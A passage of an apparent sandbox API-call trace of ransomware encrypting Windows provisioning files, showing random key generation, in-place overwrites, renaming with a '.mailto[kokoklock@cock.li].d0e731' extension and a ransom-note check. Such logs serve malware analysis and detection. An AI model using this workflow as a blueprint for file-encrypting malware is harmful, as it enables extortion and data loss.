Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.511] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.511] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f8918) returned 1 [0087.511] RtlExitUserThread (Status=0x1) Thread: id = 1364 os_tid = 0x1174 [0087.512] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml")) returned 0x20 [0087.512] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.512] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.512] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f6bfc54 | out: lpFileSize=0x2f6bfc54*=717) returned 1 [0087.512] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2c9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.512] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f6bfc28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2f6bfc28*, lpNumberOfBytesRead=0x2f6bfc24*=0x4, lpOverlapped=0x0) returned 1 [0087.514] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.514] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc368 [0087.514] NtQuerySystemTime (in: CurrentTime=0x2f6bfc00 | out: CurrentTime=0x2f6bfc00*=132121176454069624) returned 0x0 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x259af426 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xc58d275e [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xedb8305e [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xc0524198 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x654da53a [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xec54b0f5 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xfa821048 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xa5cf2214 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xd47bee [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xf0a8a902 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xa5d625c [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x90e4cbae [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x1c3f3ae6 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xc26e8e67 [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x6861c41e [0087.514] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xba1378ca [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x11da737f [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x3b33d1f9 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xa1a4e050 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xc2f24811 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xb9ba10b6 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xecaab2f5 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xf6ce97b4 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xf8219469 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x7d4a72f8 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0xb8c4c0ba [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x846fd8f1 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x2ef72ed6 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x83bd041 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x71e518c5 [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x403cf53e [0087.515] RtlRandom (in: Seed=0x2f6bfc0c | out: Seed=0x2f6bfc0c) returned 0x65ba2284 [0087.526] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x2f6bfc00, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f6bfc00*=0x2cd, lpOverlapped=0x0) returned 1 [0087.526] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f6bfbc8 | out: lpNewFilePointer=0x0) returned 1 [0087.526] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2cd, lpNumberOfBytesWritten=0x2f6bfbfc, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f6bfbfc*=0x2cd, lpOverlapped=0x0) returned 1 [0087.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.526] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc3b8 [0087.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc3b8) returned 1 [0087.526] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f6bfbf8, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f6bfbf8*=0x20, lpOverlapped=0x0) returned 1 [0087.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.526] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.526] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc390*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x55dc390*, lpNumberOfBytesWritten=0x2f6bfc24*=0x8, lpOverlapped=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f6bfc3c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x2f6bfc3c*, lpNumberOfBytesWritten=0x2f6bfc24*=0x4, lpOverlapped=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f6bfc24*=0x4, lpOverlapped=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f6bfc24*=0x6c, lpOverlapped=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f6bfc24*=0x20, lpOverlapped=0x0) returned 1 [0087.527] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f6bfc24, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f6bfc24*=0x4, lpOverlapped=0x0) returned 1 [0087.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.527] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc390) returned 1 [0087.527] CloseHandle (hObject=0x3d0) returned 1 [0087.527] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x184) returned 0x33fc9c8 [0087.527] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" [0087.527] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.527] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.528] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.528] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.528] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.529] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.529] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.529] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.529] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8f48) returned 1 [0087.529] RtlExitUserThread (Status=0x1) Thread: id = 1365 os_tid = 0x117c [0087.530] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.530] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.530] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.530] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2f73fb30 | out: lpFileSize=0x2f73fb30*=650) returned 1 [0087.531] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x286, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.531] ReadFile (in: hFile=0x3d0, lpBuffer=0x2f73fb04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x2f73fb04*, lpNumberOfBytesRead=0x2f73fb00*=0x4, lpOverlapped=0x0) returned 1 [0087.532] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc390 [0087.532] NtQuerySystemTime (in: CurrentTime=0x2f73fadc | out: CurrentTime=0x2f73fadc*=132121176454226007) returned 0x0 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x2c3614c8 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xdd9729d5 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xa747f122 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x47b2a3b3 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x698df19b [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xb41de3e4 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x94cb3cbd [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xceca14ca [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x51a3460b [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xc2254e5e [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xd0e3519a [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xa5f0ea13 [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x6ae6945b [0087.532] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x5cc121d [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x65e48268 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xfffc73ec [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x6367ea96 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xffc6e7d9 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x56b8bbf0 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xee70e9aa [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x42f338cb [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xd3a85f08 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x1055910 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xd02c4d71 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x88c9b774 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x67cdfc9f [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x94ce3a58 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xa2512c12 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x8adc62b1 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x866482ae [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0xe4868f80 [0087.533] RtlRandom (in: Seed=0x2f73fae8 | out: Seed=0x2f73fae8) returned 0x6b791b14 [0087.543] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x28a, lpNumberOfBytesRead=0x2f73fadc, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2f73fadc*=0x28a, lpOverlapped=0x0) returned 1 [0087.543] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f73faa4 | out: lpNewFilePointer=0x0) returned 1 [0087.543] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x28a, lpNumberOfBytesWritten=0x2f73fad8, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2f73fad8*=0x28a, lpOverlapped=0x0) returned 1 [0087.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc340 [0087.544] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc3e0 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc3e0) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc340*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f73fad4, lpOverlapped=0x0 | out: lpBuffer=0x55dc340*, lpNumberOfBytesWritten=0x2f73fad4*=0x20, lpOverlapped=0x0) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc340) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc3b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x55dc3b8*, lpNumberOfBytesWritten=0x2f73fb00*=0x8, lpOverlapped=0x0) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x2f73fb18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x2f73fb18*, lpNumberOfBytesWritten=0x2f73fb00*=0x4, lpOverlapped=0x0) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2f73fb00*=0x4, lpOverlapped=0x0) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2f73fb00*=0x6c, lpOverlapped=0x0) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2f73fb00*=0x20, lpOverlapped=0x0) returned 1 [0087.544] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2f73fb00, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2f73fb00*=0x4, lpOverlapped=0x0) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.544] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.545] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc3b8) returned 1 [0087.545] CloseHandle (hObject=0x3d0) returned 1 [0087.545] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0087.545] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" [0087.545] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.545] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 